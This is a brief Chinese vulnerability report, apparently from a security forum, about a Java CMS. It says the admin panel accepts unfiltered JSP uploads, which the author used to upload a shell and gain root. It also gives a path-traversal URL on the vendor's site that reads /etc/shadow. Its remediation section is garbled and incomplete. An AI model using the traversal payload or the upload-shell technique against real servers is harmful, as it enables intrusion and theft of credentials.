程序员安全意识过低，后台允许上传jsp格式文件。
后台多处可上传jsp类型文件，无任何过滤。反编译过来的源码看还存在很多安全问题。
 





  进入后台系统系统管理--> www.2cto.com 文章附件管理可上传jsp文件.官方居然也没有任何限制。直接上传shell得了个root。
 
 
修复方案：

虽然不用ssh速度方面很OK,但是到处都是拼凑SQL啥的能安全吗？SPRING(mvc3)+mybatis+

作者 随风.潜入夜


官网可下载任意文件
详细说明：http://www.51javacms.com/51javacms/PluginCtrl?page=DownLoadFilePage&path=/download&name=../../../../../../../../../../../etc/shadow

 
 
 作者  马三哥